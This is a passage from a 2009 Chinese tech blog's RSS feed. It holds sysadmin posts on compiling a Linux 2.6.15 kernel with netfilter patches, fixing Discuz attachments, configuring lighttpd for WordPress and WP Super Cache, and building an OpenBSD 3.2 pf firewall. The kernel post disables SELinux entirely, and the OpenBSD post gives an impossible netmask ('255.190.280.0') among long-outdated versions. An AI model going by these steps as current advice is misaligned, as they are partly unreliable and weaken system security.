#define INR_OPEN 65536<br />
#define NR_FILE 65536<br />
vi /usr/src/linux-2.6.15.6/include/net/tcp.h<br />
#define TCP_TIMEWAIT_LEN (1*HZ)<br />
#define TCP_SYNACK_RETRIES 3</p>
<p>4、拷贝原来的config<br />
cp /boot/config-2.6.9-42.ELsmp ./.config<br />
注：我的是双cpu的机器，所以是ELsmp<br />
make menuconfig</p>
<p>选择 Load an Alternate Configuration File<br />
选择 .config<br />
保存 退出</p>
<p>5、打netfilter补丁<br />
cd /usr/src/path-o-matic-ng-20061024<br />
./runme &#8211;download<br />
注：上述命令选择下载ipp2p time等补丁<br />
export KERNEL_DIR=/usr/src/linux-2.6.15.6<br />
export IPTABLES_DIR=/usr/src/iptables-1.3.6<br />
./runme ipp2p<br />
./runme time<br />
./runme connlimit<br />
<span id="more-905"></span><br />
6、配置内核选项<br />
networking<br />
networking options<br />
network packet filtering (replaces ipchains)<br />
IP:Netfilter Configuration<br />
把 ipp2p、time、 Connections/IP 选上</p>
<p>Security options<br />
NSA SELinux Support 选项 去除</p>
<p>同时保存 退出</p>
<p>vi /etc/sysconfig/selinux<br />
SELINUX=disabled<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
7、开始编译并安装<br />
make all<br />
make modules<br />
make modules_install<br />
make install</p>
<p>8、设置grub.conf<br />
设置default=0的相关项</p>
<p>重新启动计算机</p>
<p>9、安装新版本iptable<br />
cd /usr/src/iptables-1.3.6<br />
export KERNEL_DIR=/usr/src/linux-2.6.15.6<br />
export IPTABLES_DIR=/usr/src/iptables-1.3.6<br />
make BINDIR=/sbin LIBDIR=/lib MANDIR=/usr/share/man install<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
10、测试<br />
uname -r 显示内核版本<br />
iptables -V 显示iptables版本<br />
ulimit -a 显示最大打开文件等参数<br />
top 选择1 看多cpu支持情况</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/905.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>解决DZ论坛附件无法保存到服务器的部题。</title>
		<link>http://www.evanjiang.net.cn/archives/891.html</link>
		<comments>http://www.evanjiang.net.cn/archives/891.html#comments</comments>
		<pubDate>Tue, 07 Apr 2009 08:24:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[DISCUZ 论坛]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=891</guid>
		<description><![CDATA[<p>今天网站的DZ论坛 出现这个问题  论坛 附件文件无法保存到服务器，可能是目录属性设置问题，请与管理员联系。
于是我帮着解决 从文件夹属性到 tmp临时文件夹属性 都改也 没用！
接着找原因 最后 出现再dz后台系统设置问题上
基本设置&#8212;-附件设置&#8212;&#8211;附件路径 URL 地址: 改成绝对路径！附件保存方式:
改成其他的！
发个帖子  然后 改成默认的保存方式！就ok！
因为这个空间 是从其他服务器换过来的  可能是存在目录权限没有转换过来的原因！
解决完毕！</p>
]]></description>
			<content:encoded><![CDATA[<p>今天网站的DZ论坛 出现这个问题  论坛 附件文件无法保存到服务器，可能是目录属性设置问题，请与管理员联系。<br />
于是我帮着解决 从文件夹属性到 tmp临时文件夹属性 都改也 没用！<br />
接着找原因 最后 出现再dz后台系统设置问题上<br />
基本设置&#8212;-附件设置&#8212;&#8211;附件路径 URL 地址: 改成绝对路径！附件保存方式:<br />
改成其他的！<br />
发个帖子  然后 改成默认的保存方式！就ok！<br />
因为这个空间 是从其他服务器换过来的  可能是存在目录权限没有转换过来的原因！<br />
解决完毕！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/891.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing WP Super Cache with lighttpd</title>
		<link>http://www.evanjiang.net.cn/archives/872.html</link>
		<comments>http://www.evanjiang.net.cn/archives/872.html#comments</comments>
		<pubDate>Sun, 05 Apr 2009 14:06:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[install wp super cache lighttpd]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=872</guid>
		<description><![CDATA[<p>Trying to get WP Super Cache &#038; WordPress working on my fast lighttpd server, I came into problems, mainly because of lighttpd’s lack of (Apache’s version of) the mod_rewrite module. The static files that were created from the cache were not statically served from wordpress. The problem is that in order to use them, the [...]]]></description>
			<content:encoded><![CDATA[<p>Trying to get WP Super Cache &#038; WordPress working on my fast lighttpd server, I came into problems, mainly because of lighttpd’s lack of (Apache’s version of) the mod_rewrite module. The static files that were created from the cache were not statically served from wordpress. The problem is that in order to use them, the PHP fcgi was called for each request. So, why would we have to call PHP every time that a file can be completely statically provided by the web server?</p>
<p>Following this guide I came up  with some problems trying to serve the static files. The problem with that version of the rewrite.lua script is that it does not really work the way it should. The whole point of using WP Super Cache is to avoid calling the PHP fcgi for posts that are already cached into an html file. Calling the PHP fcgi is much slower than using the “core” lighttpd static-page-serving facilities.</p>
<p>So, what did I do to avoid calling the PHP fcgi?</p>
<p>The following script takes the url that was asked from the client. It checks whether there is a fresh version of a static HTML page on the cache and if yes, it servers that. If the file does not exist al all or the it is expired(I check its modification date) then the request is forwarded to the PHP fcgi so that it can be freshly served.</p>
<p>In my lighttpd.conf I have put this:<br />
<span id="more-872"></span><br />
view sourceprint?<br />
01.<br />
$HTTP["host"] == &#8220;www.asteriosk.gr&#8221; {<br />
02.</p>
<p>03.<br />
alias.url = ( &#8220;/storage/&#8221; => &#8220;/opt/storage/&#8221; )<br />
04.<br />
server.document-root = &#8220;/opt/apps/wordpress/&#8221;<br />
05.<br />
url.rewrite = (<br />
06.<br />
&#8220;^/(wiki|wp-admin|wp-includes|wp-content|storage)/(.*)&#8221; => &#8220;$0&#8243;,<br />
07.<br />
&#8220;^/(sitemap\.xml|sitemap\.xml\.gz)&#8221; => &#8220;$0&#8243;,<br />
08.<br />
&#8220;^/(.*\.php)&#8221; => &#8220;$0&#8243;,<br />
09.<br />
&#8220;^/(.*)$&#8221; => &#8220;/index.php/$1&#8243;<br />
10.<br />
)<br />
11.<br />
magnet.attract-physical-path-to = ( server.document-root + &#8220;rewrite.lua&#8221; )<br />
12.</p>
<p>13.<br />
}<br />
And in the rewrite.lua file I have put this:</p>
<p>view sourceprint?<br />
01.<br />
expiration_time = 10*60<br />
02.</p>
<p>03.<br />
function serve_html(cached_page, expiration_time)<br />
04.<br />
attr = lighty.stat(cached_page)<br />
05.<br />
&#8211;Check if the cached file has expired<br />
06.<br />
if (attr and (attr['st_mtime'] + expiration_time) > os.time() ) then<br />
07.<br />
lighty.env["physical.path"] = cached_page<br />
08.<br />
return true<br />
09.<br />
else<br />
10.<br />
return false<br />
11.<br />
end<br />
12.<br />
end<br />
13.</p>
<p>14.<br />
function serve_gzip(cached_page, expiration_time)<br />
15.<br />
attr = lighty.stat(cached_page .. &#8220;.gz&#8221;)<br />
16.<br />
&#8211;Check if the gziped cached file has expired<br />
17.<br />
if (attr and  (attr['st_mtime'] + expiration_time) > os.time() ) then<br />
18.<br />
lighty.header["Content-Encoding"] = &#8220;gzip&#8221;<br />
19.<br />
lighty.header["Content-Type"] = &#8220;&#8221;<br />
20.<br />
lighty.env["physical.path"] = cached_page .. &#8220;.gz&#8221;<br />
21.<br />
return true<br />
22.<br />
else<br />
23.<br />
return false<br />
24.<br />
end<br />
25.<br />
end<br />
26.</p>
<p>27.<br />
attr = lighty.stat(lighty.env["physical.path"])<br />
28.<br />
if (not attr) then<br />
29.</p>
<p>30.<br />
lighty.env["physical.rel-path"] = lighty.env["uri.path"]<br />
31.<br />
&#8211;Change the &#8220;/opt/apps/wordpress/&#8221; to your own wordpress location<br />
32.<br />
lighty.env["physical.path"] = &#8220;/opt/apps/wordpress/&#8221;<br />
33.<br />
.. lighty.env["physical.rel-path"]<br />
34.<br />
&#8211; If we are querying, we don&#8217;t have to cache of course<br />
35.<br />
query_condition = not ( lighty.env["uri.query"] and<br />
36.<br />
string.find(lighty.env["uri.query"], &#8220;.*s=.*&#8221;))<br />
37.<br />
&#8211;If there exists a cookie in the client, probably he/she has been here before<br />
38.<br />
&#8211;and has left a comment. In that case we don&#8217;t use cached content<br />
39.<br />
&#8211;for example, the user might has just submitted a comment.<br />
40.<br />
user_cookie = lighty.request["Cookie"] or &#8220;no_cookie_here&#8221;<br />
41.<br />
cookie_condition = not (string.find(user_cookie, &#8220;.*comment_author.*&#8221;) or<br />
42.<br />
string.find(user_cookie, &#8220;.*wordpress.*&#8221;) or<br />
43.<br />
string.find(user_cookie, &#8220;.*wp-postpass_.*&#8221;))<br />
44.</p>
<p>45.<br />
if (query_condition and cookie_condition) then<br />
46.<br />
&#8211;construct the full path of the expeted  cached filename for this url<br />
47.<br />
accept_encoding = lighty.request["Accept-Encoding"] or &#8220;no_acceptance&#8221;<br />
48.<br />
cached_page     = lighty.env["physical.doc-root"] ..<br />
49.<br />
&#8220;/wp-content/cache/supercache/&#8221; ..<br />
50.<br />
lighty.request["Host"] ..<br />
51.<br />
lighty.env["request.uri"] ..<br />
52.<br />
&#8220;/index.html&#8221;<br />
53.</p>
<p>54.<br />
cached_page = string.gsub(cached_page, &#8220;index.php/&#8221;, &#8220;/&#8221;)<br />
55.<br />
cached_page = string.gsub(cached_page, &#8220;//&#8221;, &#8220;/&#8221;)<br />
56.</p>
<p>57.<br />
&#8211;If the client accepts gzipped content, send gzipped content<br />
58.<br />
if (string.find(accept_encoding, &#8220;gzip&#8221;)) then<br />
59.<br />
&#8211;If for some reason the gzipped file does not exist, fallback to the<br />
60.<br />
&#8211;uncompressed cached file<br />
61.<br />
if not serve_gzip(cached_page, expiration_time) then<br />
62.<br />
serve_html(cached_page,expiration_time) end<br />
63.<br />
else<br />
64.<br />
serve_html(cached_page,expiration_time)<br />
65.<br />
end<br />
66.<br />
end<br />
67.<br />
end</p>
<p>If you want to use the script in your own server, the only things that you have to change is the hardcoded /opt/apps/wordpress/ path and the expiration_time variable.</p>
<p>Kudos to Giovanni Intini for porting the Apache mod_rewrite’s rules on mod_magnet and the original idea of the script.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/872.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>url.rewrite for WordPress on Lighttpd</title>
		<link>http://www.evanjiang.net.cn/archives/870.html</link>
		<comments>http://www.evanjiang.net.cn/archives/870.html#comments</comments>
		<pubDate>Sun, 05 Apr 2009 13:35:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[url rewrite wordpress Lighttpd]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=870</guid>
		<description><![CDATA[<p>This blog now runs on a Lighttpd (Lighty) webserver instead of Apache, and this means the configuration for ‘pretty URLs’ or permalinks of WordPress doesn’t work like it used to.
(As you might have noticed, I use permalinks like /2007/02/this-is-permalink/)</p>
<p>Whereas WordPress can automatically adapt the Apache .htacccess file to something like

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} [...]]]></description>
			<content:encoded><![CDATA[<p>This blog now runs on a Lighttpd (Lighty) webserver instead of Apache, and this means the configuration for ‘pretty URLs’ or permalinks of WordPress doesn’t work like it used to.<br />
(As you might have noticed, I use permalinks like /2007/02/this-is-permalink/)</p>
<p>Whereas WordPress can automatically adapt the Apache .htacccess file to something like<br />
<IfModule mod_rewrite.c><br />
RewriteEngine On<br />
RewriteBase /<br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
RewriteRule . /index.php [L]<br />
</IfModule><br />
it does not do anything automatically for your Lighty .conf configuration file (which is logical, since an application should not be allowed to mess with a central config file).</p>
<p>So what you have to use is:</p>
<p>a WordPress blog installed in the root of your (sub-) domain:<br />
$HTTP["host"] =~ “{yourdomain}” {<br />
var.app = “{yourdomain}”<br />
accesslog.filename = base + “/logs/” + app + “.access.log”<br />
server.errorlog = base + “/logs/” + app + “.error.log”<br />
load php app<br />
url.rewrite = (<br />
“^/(wp-.+).*/?” => “$0″,<br />
“^/(sitemap.xml)” => “$0″,<br />
“^/(xmlrpc.php)” => “$0″,<br />
“^/(.+)/?$” => “/index.php/$1″<br />
)<br />
}<br />
<span id="more-870"></span><br />
a WordPress blog installed in a subfolder (e.g. /blog/)<br />
$HTTP["host"] =~ “{yourdomain}” {<br />
var.app = “{yourdomain}”<br />
accesslog.filename = base + “/logs/” + app + “.access.log”<br />
server.errorlog = base + “/logs/” + app + “.error.log”<br />
load php app<br />
url.rewrite = (<br />
“^/?$” => “/blog/index.php”,<br />
“^/blog/(wp-.+)$” => “$0″,<br />
“^/blog/xmlrpc.php” => “$0″,<br />
“^/blog/sitemap.xml” => “$0″,<br />
“^/blog/(.+)/?$” => “/blog/index.php/$1″<br />
)<br />
}<br />
The xmlrpc.php rule is necessary for external access (like, publishing from del.icio.us or Flickr), and the sitemap.xml file is something for Google Sitemaps.</p>
<p>For those stubborn visitors who always precede their URLs with www, you can also add a redirect:</p>
<p>$HTTP["host"] =~ “www.blog.forret.com” {<br />
url.redirect = ( “.*” => “http://blog.forret.com”)<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/870.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenBSD firewall using pf</title>
		<link>http://www.evanjiang.net.cn/archives/851.html</link>
		<comments>http://www.evanjiang.net.cn/archives/851.html#comments</comments>
		<pubDate>Mon, 23 Mar 2009 14:38:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[openbsd unix]]></category>
		<category><![CDATA[OpenBSD firewall using pf]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=851</guid>
		<description><![CDATA[<p>It is really easy to configure an OpenBSD gateway for a private network. Here are the following steps:</p>
<p>Lock down the box
Install second ethernet card in the OpenBSD box
Customize the kernel
Enable packet forwarding, dhcp, firewall and network address translation
Configure machines behind NAT
Familiarize with pf
Quality of Service (QoS)
References
Lock down the box
The first step to lock down the [...]]]></description>
			<content:encoded><![CDATA[<p>It is really easy to configure an OpenBSD gateway for a private network. Here are the following steps:</p>
<p>Lock down the box<br />
Install second ethernet card in the OpenBSD box<br />
Customize the kernel<br />
Enable packet forwarding, dhcp, firewall and network address translation<br />
Configure machines behind NAT<br />
Familiarize with pf<br />
Quality of Service (QoS)<br />
References<br />
Lock down the box<br />
The first step to lock down the firewall box is to disable all unnecessary running services. Luckily, OpenBSD out of the box is really secure even with ident, comsat, daytime, time, rstatd and rusersd enabled in /etc/inetd.conf. Comment out mentioned services in /etc/inetd.conf and edit /etc/rc.conf and make sure portmap, sendmail and ntpd daemons are disabled as well. Don&#8217;t disable inetd as you will need it later for ftp-proxy.<br />
check_quotas=NO<br />
ntpd=NO<br />
sendmail_flags=NO</p>
<p>sshd is enabled out of the box. If you don&#8217;t plan to use it, disable it with sshd_flags=NO<br />
Once you disabled unnecessary services, go to unixcircle to remotely port scan your own box from the outside. Be careful when you do this behind a firewall box as the port scan script will scan the firewall instead. If you have another box, use nmap to scan the box from the inside.</p>
<p>Get the latest OpenBSD security patches and manually apply or download all the patches in one file or use AnonCVS to synchronize to stable release and build from source.</p>
<p>Make sure you check out the 3.2 stable branch with -rOPENBSD_3_2. Otherwise, you&#8217;re checking out the &#8220;current&#8221; branch instead.</p>
<p>Finally, readup on SANS&#8217;s The Twenty Most Critical Internet Security Vulnerabilities (Updated)</p>
<p><span id="more-851"></span><br />
Install second Ethernet card in the OpenBSD box<br />
Use any supported ethernet card for the second NIC in the OpenBSD machine. One card will be given a public IP address (assigned by your ISP or obtained dynamically, e.g., with DHCP) and the other will be given an IP address in a non-routable network. Your choices for private network addresses must come from one of these ranges (see RFC 1918):<br />
10.0.0.1 &#8211; 10.255.255.254      netmask 255.0.0.0<br />
172.16.0.1 &#8211; 172.31.255.254    netmask 255.240.0.0<br />
192.168.0.1 &#8211; 192.168.255.254  netmask 255.255.0.0</p>
<p>Assume the first card is &#8220;ep&#8221;, create /etc/hostname.ep0 with the following x.x.x.x netmask x.x.x.x where x.x.x.x is what you choose above.<br />
# First NIC &#8211; private<br />
192.168.1.1 netmask 255.255.255.0 media 10baseT</p>
<p>And if you have a static IP address for the second NIC, you naturally need to have it configured as /etc/hostname.ep1 as well.<br />
# Second NIC with public IP address<br />
123.221.8.1 netmask 255.190.280.0 media 10baseT</p>
<p>Be sure to indicate a correct IP address and netmask for both interfaces. Once you have chosen a private network address range for your inside machines, stay with that same range.<br />
Whatever address you choose for the first interface in the OpenBSD gateway becomes the default gateway IP address for all machines on the inside private network.</p>
<p>Customize the kernel<br />
Compile the new kernel and remove any unwanted devices from the kernel.<br />
Retrieve the kernel source and unpack it as:</p>
<p># tar xzvf srcsys.tar.gz -C /usr<br />
( kernel source unpacking output&#8230; )<br />
&#8230;</p>
<p>Or use AnonCVS to get just the kernel source it:<br />
# setenv CVSROOT anoncvs@anoncvs.ca.openbsd.org:/cvs<br />
# cd /usr<br />
# cvs -q get -rOPENBSD_3_2 -P src/sys<br />
( checking out files output&#8230; )<br />
&#8230;<br />
# cd /sys/arch/i386/conf</p>
<p>I usually name the kernel to the machine hostname, but you can give it any name. Edit the kernel config file:<br />
Remove any hardware related options that are not relevant to your machine. One way to find out what to keep is to consult the dmesg output and remove all the rest. For all available kernel options, refer to GENERIC in the same directory as your kernel file and /sys/conf/GENERIC or man options(4).</p>
<p>Save the kernel config file and then compile and install it:</p>
<p># config firewall<br />
# cd ../compile/firewall<br />
# make depend; make<br />
( kernel building output&#8230; )<br />
&#8230;<br />
# cp /bsd /bsd.old<br />
# cp bsd /bsd<br />
# reboot</p>
<p>This will retain the old kernel as /bsd.old just in case something has gone awry with the new one and the box doesn&#8217;t boot. If that happens you can type &#8216;bsd.old&#8217; at the boot: prompt to boot the old kernel.<br />
Enable packet forwarding, dhcp, firewall and network address translation<br />
To enable packet forwarding uncomment the following line in /etc/sysctl.conf and for extra protection, enable encryption on swap pages:<br />
net.inet.ip.forwarding=1        # 1=Permit forwarding (routing) of packets<br />
vm.swapencrypt.enable=1         # 1=Encrypt pages that go to swap</p>
<p>To enable high performance data transfers on hosts according to Enabling High Performance Data Transfers on Hosts, add the following to /etc/sysctl.conf:<br />
# 1. Path MTU discovery: enabled by default<br />
# 2. TCP Extension (RFC1323): enabled by default<br />
# 3. Increase TCP Window size for increase in network performance<br />
net.inet.tcp.recvspace=65535<br />
net.inet.tcp.sendspace=65535<br />
# 4. SACK (RFC2018): enabled by default</p>
<p>And if you receive your routable address assignment dynamically through DHCP:<br />
# echo dhcp > /etc/hostname.ep1</p>
<p>The dhcp server will assign the IP, netmask and default gateway for interface &#8220;ep1&#8221;. /etc/resolv.conf will be created with &#8220;search&#8221; and &#8220;nameservers&#8221; statements from the ISP.<br />
Filter rule:</p>
<p>Starting with OpenBSD 3.2, filter and nat rules are combined into /etc/pf.conf. The order of /etc/pf.conf is really important and the format of /etc/pf.conf must follow this order:</p>
<p>1. Options<br />
2. Scrub<br />
3. NAT &#038; RDR<br />
4. Filter</p>
<p>If there are no filter rules, the default action is pass.</p>
<p>Network Address Translation rule:</p>
<p>For clients behind NAT to work, 1 NAT and 1 RDR rule is sufficient:</p>
<p># NAT internal IP addresses of range 192.168.1.0/24 to external routable<br />
# IP on ep1 interface<br />
nat on ep1 from 192.168.1.0/24 to any -> ep1</p>
<p># Translate outgoing ftp control connections to send them to localhost<br />
# for proxying with ftp-proxy(8) running on port 8081<br />
rdr on ep0 proto tcp from any to any port 21 -> 127.0.0.1 port 8081</p>
<p>ftp-proxy runs inside inetd, add the following line to /etc/inetd.conf in order for ftp clients behind NAT to work by going through ftp-proxy daemon:<br />
127.0.0.1:8081  stream tcp nowait root /usr/libexec/ftp-proxy ftp-proxy</p>
<p>As a result, ftp port and port 8081 will be opened. ftp-proxy supports -w option which will use tcp_wrappers to control source ftp client as well as destination ftp server access control based on /etc/hosts.allow and /etc/hosts.deny. Assume source ftp client IP 192.168.1.2 doesn&#8217;t have permission to use ftp, a similar log entry in /var/log/messages when attempted to reach ftp.netbsd.org<br />
Sep 14 15:55:38 firewall ftp-proxy[20970]: tcpwrappers rejected: 192.168.1.2 -> ftp.netbsd.org</p>
<p>An example of a working /etc/pf.conf</p>
<p>Transparent proxy:</p>
<p>If there&#8217;s a mail server as 192.168.1.2 and a DNS server as 192.168.1.3 inside the private network, use &#8220;rdr&#8221; to transparent proxying. Since NAT happens before &#8220;rdr&#8221;, a &#8220;pass in&#8221; is required in /etc/pf.conf for the translated packets to flow into the mail server and DNS server.</p>
<p>/etc/pf.conf:</p>
<p># Redirect incoming smtp traffic to mail server behind NAT<br />
rdr on ep1 proto tcp from any to 157.161.48.183/32 port 25 -> 192.168.1.2 port 25</p>
<p># Redirect incoming domain traffic to DNS server behind NAT<br />
rdr on ep1 proto { tcp,udp } from any to 157.161.48.183/32 port 53 -> 192.168.1.3 port 53</p>
<p>Finally, enable pf in /etc/rc.conf:<br />
pf=YES                   # Packet filter / NAT / logging using pflogd</p>
<p>Configure machines behind NAT<br />
All the machines on the private network should be configured to use the address of the private interface of the OpenBSD box as the default gateway. To set the internal boxes to the default OpenBSD gateway on various operating systems with IP address: 192.168.1.1<br />
AIX: edit /etc/rc.net and add /usr/sbin/route add 192.168.1.1 gateway >> $LOGFILE 2>&#038;1</p>
<p>FreeBSD: edit /etc/rc.conf and add defaultrouter=&#8221;192.168.1.1&#8243;<br />
HP-UX: edit /etc/rc.config.d/netconf and add ROUTE_GATEWAY[0]=&#8221;192.168.1.1&#8243;<br />
Linux Redhat: edit /etc/sysconfig/network and add GATEWAY=192.168.1.1<br />
NetBSD:  echo &#8220;192.168.1.1&#8243; > /etc/mygate<br />
OpenBSD: echo &#8220;192.168.1.1&#8243; > /etc/mygate</p>
<p>Solaris: echo &#8220;192.168.1.1&#8243; > /etc/defaultrouter<br />
Win2k: Start-Settings->Control Panel->Network and Dial-up Connections->Local Area Network-><br />
       Properties->Internet Protocol (TCP/IP)->Default Gateway->192.168.1.1</p>
<p>If you don&#8217;t want to reboot to pick up the IP address for the default gateway, use &#8220;route&#8221; to manually add the default route.<br />
AIX: route add 0 192.168.1.1</p>
<p>HP-UX: route add 192.168.1.1</p>
<p>FreeBSD,NetBSD,OpenBSD,Solaris: route add default 192.168.1.1</p>
<p>Linux Redhat: route add default gw 192.168.1.1</p>
<p>Familiarize with pf<br />
Once your firewall is online, you should start reading pf.conf(5), nat.conf(5), ftp-proxy(8), pfctl(8), pf(4) and The OpenBSD Packet Filter HOWTO. Also consult IPFILTER-HOWTO since both pf and IP Filter have 90% identical syntax. One noticable difference is OpenBSD pf doesn&#8217;t support IP Filter &#8220;keep frags&#8221; syntax. The alternative is to use &#8220;scrub&#8221; statement.<br />
Each time /etc/pf.conf or /etc/nat.conf are modified, you have to reload them using pfctl. Reloading these rules will flush all current active connections. Unlike IPFilter, pf needs to enable nat and pf rules manually.</p>
<p>Flush current nat rules &#038; reload:</p>
<p># /sbin/pfctl -F nat &#038;&#038; /sbin/pfctl -N /etc/pf.conf</p>
<p>Flush current filter rules &#038; reload:<br />
# /sbin/pfctl -F rules &#038;&#038; /sbin/pfctl -R /etc/pf.conf</p>
<p>Show filter information (statistics and counters):<br />
# pfctl -s info</p>
<p>To display the current list of active MAP/Redirect filters and active sessions:<br />
# /sbin/pfctl -s state</p>
<p>To find out the &#8220;hit&#8221; statistic for each individual rule in /etc/pf.conf:<br />
# /sbin/pfctl -s rules -v</p>
<p>Watch port scans going by on the screen:<br />
/var/log/pflog is a binary file generated by pflogd so you can&#8217;t just view it. Use tcpdump instead:</p>
<p># tcpdump -i pflog0</p>
<p>Read the log for pf activities:</p>
<p># tcpdump -n -e -ttt -r /var/log/pflog</p>
<p>Quality of Service (QoS)<br />
Bandwidth limiting:<br />
OpenBSD 3.2 has ALTQ integrated in the base system. The kernel generic kernel is also compiled with options ALTQ so you&#8217;re ready to use. Otherwise, download the latest KAME snap kit which has ALTQ bundle from: http://www.kame.net/retrieve.html</p>
<p>Now, to configure a token bucket regulator (tbrconfig) for the interface ep1 to rate limit the pipe from 100Mbps to 10Mbps for outgoing connection:</p>
<p># tbrconfig ep1 10M auto<br />
ep1: tokenrate 10.00M(bps)  bucketsize 12.21K(bytes)<br />
#</p>
<p>To remove the installed token bucket regulator on ep1:<br />
# tbrconfig -d ep1<br />
deleted token bucket regulator on ep1<br />
#</p>
<p>Class-based queuing (CBQ):<br />
From man options(4) description of CBQ:</p>
<p>CBQ achieves both partitioning and sharing of link bandwidth by hierarchically structured classes. Each class has its own queue and is assigned its share of bandwidth. A child class can borrow bandwidth from its parent class as long as excess bandwidth is available.</p>
<p>Here is an example of a working /etc/altq.conf. /etc/altq.conf is read by altqd so to enable it on startup, edit /etc/rc.conf and change altqd_flags=NO to altqd_flags=&#8221;". Or just manually start altqd. altqd won&#8217;t start if there are errors in /etc/altq.conf. Watch /var/log/messages for any information.</p>
<p>Here&#8217;s the class hierarchy: cbq.txt</p>
<p>#<br />
# ep1: Interface to a 10M link<br />
#<br />
#<br />
interface ep1 bandwidth 10M cbq<br />
class cbq ep1 root NULL pbandwidth 100<br />
#<br />
# meta classes<br />
#<br />
class cbq ep1 ctl_class root pbandwidth 4 control<br />
class cbq ep1 def_class root borrow pbandwidth 95 default<br />
#<br />
# Allocate bandwidth for:<br />
# firstclass: 70%<br />
# businessclass: 15%<br />
# generalclass: 5%<br />
#<br />
class cbq ep1 firstclass def_class borrow pbandwidth 70<br />
class cbq ep1 businessclass def_class borrow pbandwidth 15<br />
class cbq ep1 generalclass def_class borrow pbandwidth 5<br />
#<br />
# Allocate bandwidth for firstclass (tcp) data classes:<br />
# tcp: 28%<br />
# smtp: 10%<br />
# http: 30%<br />
# dns: 2%<br />
#<br />
class cbq ep1 tcp firstclass borrow pbandwidth 28 red<br />
    filter ep1 tcp 0 0 0 0 6    # other tcp<br />
class cbq ep1 smtp firstclass borrow pbandwidth 10 red<br />
    filter ep1 smtp 0 0 0 25 6  # smtp<br />
    filter ep1 smtp 0 25 0 0 6  # smtp<br />
class cbq ep1 http firstclass borrow pbandwidth 30 red<br />
    filter ep1 http 0 0 0 80 6  # http<br />
    filter ep1 http 0 80 0 0 6  # http<br />
class cbq ep1 dns firstclass borrow pbandwidth 2 red<br />
    filter ep1 dns 0 0 0 53 6   # dns<br />
    filter ep1 dns 0 53 0 0 6   # dns</p>
<p>#<br />
# Allocate bandwidth for businessclass (udp) classes:<br />
# udp: 10%<br />
# dns: 5%<br />
#<br />
class cbq ep1 udp businessclass borrow pbandwidth 10 red<br />
    filter ep1 udp 0 0 0 0 17   # udp<br />
class cbq ep1 dns businessclass borrow pbandwidth 5 red<br />
    filter ep1 dns 0 0 0 53 17  # dns<br />
    filter ep1 dns 0 53 0 0 17  # dns<br />
#<br />
# Allocate bandwidth for generalclass (icmp) classe:<br />
# icmp: 5%<br />
#<br />
class cbq ep1 icmp generalclass borrow pbandwidth 5 red<br />
    filter ep1 icmp 0 0 0 0 1   # icmp</p>
<p>Now, run altqstat and monitor the bandwidth. You should see something similar here: cbq stat<br />
Weighted Fair Queueing (WFQ):</p>
<p>To use weighted fair queueing, add the following to kernel file.</p>
<p>option          ALTQ_WFQ</p>
<p>By default, WFQ allocates 256 queues and packets are mapped into one of the queues by hashing the destination address. So, packets for the same host will be put in the same queue.<br />
To enable WFQ on interface &#8220;ep0&#8243; and &#8220;ep1&#8243;, add the following lines to your altq.conf(5) and start altqd.</p>
<p>interface ep0 bandwidth 10M wfq<br />
interface ep1 bandwidth 10M wfq</p>
<p>The following command can be used to monitor the wfq statistics.<br />
altqstat -i ep1</p>
<p>You should see something similar:<br />
% altqstat<br />
altqstat: wfq on interface ep1<br />
wfq on ep1: 256 queues are used</p>
<p>[QID] WEIGHT QSIZE(KB) SENT(pkts)     (KB)       DROP(pkts)     (KB)     bps<br />
[ 141]  100    0         14              1          0              0     0.09K<br />
[ 103]  100    0          2              0          0              0     0.09K<br />
[ 131]  100    0         11              1          0              0         0<br />
[ 155]  100    0         10              0          0              0         0<br />
[ 124]  100    0          9              0          0              0         0<br />
[ 184]  100    0          5              0          0              0         0<br />
[  12]  100    0          2              0          0              0         0<br />
[   0]  100    0          0              0          0              0         0<br />
[   1]  100    0          0              0          0              0         0<br />
[   2]  100    0          0              0          0              0         0</p>
<p>First-In First-Out Queueing (FIFOQ):<br />
To use first-in first-out queueing, add the following to kernel file.</p>
<p>option          ALTQ_FIFOQ</p>
<p>To enable FIFOQ on interface ep1, add the following line to your altq.conf(5) and start altqd.<br />
interface ep1 bandwidth 10M fifoq</p>
<p>Run altqstat and you should see something similar:<br />
% altqstat<br />
